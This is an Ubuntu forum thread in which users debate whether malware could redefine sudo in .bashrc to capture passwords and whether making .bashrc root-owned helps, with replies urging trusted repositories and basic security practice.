Pretty funny seeing people here claiming they would have skills to check every program and code they are using lol... I'm able to write nearly any language but next to that understanding third's code is hundered times harder. Telling people to check the consistence is no solution because 95% even just of all linux users can't do this! It's simply unrealistic. And I'm really sure noone posting here can't, me including.. We're not talking about 10 lines perl code but complex scripts with ducktyping, polyphormism or even meta one or the old C-codes.. there are so many trapdoors in each language, no single one can know them all. And to change a nice code to a maliciuos one there sometimes has just to be changed one single line of about 500..

Next to that also trustfull sources like repos can be subverted.

And educatin lol. Another unsolveable problem.. especially for ubuntu. Remember we are not talking about openbsd nor slackware or gentoo. Ubuntu is an OS for simple minds, so you should take more care than other OS or distris in security.

As already said, changing file ownerships or forcing sudo for a integrety check is way more realistic to succed than your repetitions of the two ways above.

[jdong]

Ok, seriously, this is beating a dead horse. Everything that's to say about this has been said.

[candtalan]

This is a question about the principle of what seems to (uninformed) me to be a vulnerability I would prefer to know more about and how to avoid it.

A discussion in another group about need for (linux) anti virus software led to an example about how an installation of compromised software by the user (home machine probably) could lead to serious system compromise which would likely go un noticed.
The comments were:
================================================
Newsgroups: alt.os.linux.ubuntu
From: Bit Twister <BitTwister@mouse-potato.com>
Subject: Re: Stupid newbee question - AVG
Date: Fri, 03 Aug 2007 11:36:14 GMT

On Fri, 3 Aug 2007 11:42:35 +0100, Chris Game wrote:

> I can install software from my account,

If you mean:
o install into your account, yes,
o install into system directories, then you broke the security model.

> or modify my .bashrc file likewise, so anyone logged on as me, or
> some malware I inadvertently triggered (apparently the usual vector
> these days), could install a password sniffer to capture the
> necessary info the next time I used the root account or typed 'sudo
> xxx' ('sudo' could be redefined in the .bashrc file). Then the
> malware would be free to create chaos.

Yep. Two possible solutions,
1 chmod 644 .bashrc
chmod 644 .bash_profile
sudo chown root:root $HOME/.bashrc
sudo chown root:root $HOME/.bash_profile

2 any internet activity (brwoser, email, usenet,,,,) are done from
other accounts with a setup using option 1.

I run with solution 2.
================================================

I do not know enough about linux or ubuntu to see how this can be made more difficult so I would like to understand more about what is suggested to possibly happen.
Can sudo be easily reassigned in the .bashrc file? Is there anything I can customise to harden a defence? Or has this been already taken care of in ubuntu (kubuntu)

(novice) tia

[codmate]

Not this again please...

Short answer - if somebody is in your system and editing your .bashrc files you are compromised already. In order to avoid this don't run malware, unsolicited scripts/binaries or software with security holes. Keep your iptables rules strict and restrict users and the applications they can run.

I run all internet-facing applications through a user with just enough power to run the software and no access to the rest of the file-system. This user doesn't even have a home directory, and nobody ever even logs in as them.

Long answer - read up on basic security.
This thread is excellent:
http://ubuntuforums.org/showthread.php?t=510812

[bodhi.zazen]

This is a question about the principle of what seems to (uninformed) me to be a vulnerability I would prefer to know more about and how to avoid it.

A discussion in another group about need for (linux) anti virus software led to an example about how an installation of compromised software by the user (home machine probably) could lead to serious system compromise which would likely go un noticed.

This is good advice on any OS. Do not install software from untrusted sources.

Yep. Two possible solutions,
1 chmod 644 .bashrc
chmod 644 .bash_profile
sudo chown root:root $HOME/.bashrc
sudo chown root:root $HOME/.bash_profile

2 any internet activity (brwoser, email, usenet,,,,) are done from
other accounts with a setup using option 1.

I run with solution 2.
================================================

I do not know enough about linux or ubuntu to see how this can be made more difficult so I would like to understand more about what is suggested to possibly happen.
Can sudo be easily reassigned in the .bashrc file? Is there anything I can customise to harden a defence? Or has this been already taken care of in ubuntu (kubuntu)

(novice) tia

This is bad advice. There is a thread around here about this very issue, but the bottom line is as codmate indicates.

Ah, here is the thread : http://ubuntuforums.org/showthread.php?t=504740

[candtalan]

Thank you for your patience. I regret that to some readers my question and my ignorance may be problematic. The inclusiveness of the ubuntu code of conduct hopefully includes those who are ignorant, and who ask what to them are significant questions.

I am only just beginning to grasp your comment
'bad advice'
because it suggests that the quote I included was intended for supposedly helping to improve security. I had not understood this, :-( I had thought it was a suggested exploit method.

Thanks for the link to the apparently famous thread. I have looked through it all (all 24 pages) as best I can. I had a slight headache to start with too, but I do not like to postpone questions about security worries.....

I was disappointed with the thread generally, and thought that a number of very good points were drowned. It was instructiuve and has made me reduce my trust in what I install - from the repositories, which is sad, if realistic.

I do not think the long discussion addressed the issue of an ordinary (uninformed) (home) user well enough.

As I continue energetic advocacy for ubuntu and I see more and more windows users beginning to use it, I become concerned that the sort of vulnerabilities mentioned, and others, will be exploited in future, even though some exploits may need a double jeopardy to succeed.

If I have understood correctly there is little defence against them apart from good practice before the event, and apparently no way of checking if the event, the initial exploit, by whatever means, has already happened. Is there a way to check? Even though the event may have been an initial stage of a two stage exploit.

A lot of modern malware aims at financial information and is covert.

I have to date, installed happily from a choice of some 20,000 packages in the repos. I trust that all are safe.(?) I would value a way of verifying that my installation is as safe as I believe and hope.

Having read the thread I still seem not to have an objective way of verifying that my system has not been compromised. I do not want to become an expert on security to achieve this objective.

It is not satisfactory to avoid use of computers, and it is a question of what is at risk, and what the probability is. The probability currently is low. In risk assessment, double jeopardy is often regarded as near zero risk. But this is not satisfactory when the initial jeopardy can endure without discovery indefinitely. It is also naive to expect non expert users to be able to always judge and follow best practice.

Unless I can verify that my machine has not been compromised even with use in good practice only, then it seems to me that to reduce risk to a minimum a useful suggestion might be that either a live CD should be used for secure online activities, or a machine be set aside which has minimal added packages installed.

[koenn]

As has been said before, if someone has enough access rights to modify your bashrc, your system is already compromised. So; don't get compromised. That's they only thing to do.

If you're truly worried tho the extend that you have doubts about software in the repos and want to use a live CD i.s.o. an installed system, consider this :

- If you don't trust the software in the repo's, who will you trust ? someone who oversees all software in the repo's? And then someone to check on that person? And a 3th on to check on the second one ? And so on ad infinitum ?

- If you don't trust the software in the repo's, what makes you so sure you can trust the software on that live CD ?

- if you're worried about online transactions, you have to see further than your own computer. Is the network your using secure ? Is the other side secure ? Not onli during the transaction (which is probably encrypted), but also afterwards - eg how is the storage of the data of your transaction secured ? Do you know ? ..


Your idea of having a dedicated machine for sensitive transactions is not a bad one, but i'd say it's overkill for every day use - provided you practise save computing.
If you want to check your system for suspicious modifications you can install and run an intrusion detection system or a rootkit hunter. But then again, where would you get them, and how would you know they're not compromised themselves ?
In the end, you trust that malicious or compromized software wouldn't go unnoticed in the open source world, where people read and use the source code of these programs on a daily basis.

[bodhi.zazen]

I think you are not understanding the initial exploit.

The initial exploit is NOT altering the .bashrc !!!

Altering .bashrc is one example of what someone could do AFTER they have gained access to your system.

The initial exploit (to allow altering .bashrc) would have to be something like physical access to the machine or YOU, the user, running or installing some sort of a script FROM OUTSIDE THE UBUNTU REPOSITORIES.

The point koenn and I are making is : .bashrc CANNOT BE ALTERED unless the system is already cracked AND if you system has already been cracked, well a lot more then .bashrc is available for exploitation.

"a number of very good points were drowned" because the exploit is NOT with .bashrc and, as koenn indicated, if someone can alter your .bashrc you have already been cracked by another exploit (un named in the thread).

[jdong]

Huh? How are people replying to a closed thread? I thought I closed this a week ago.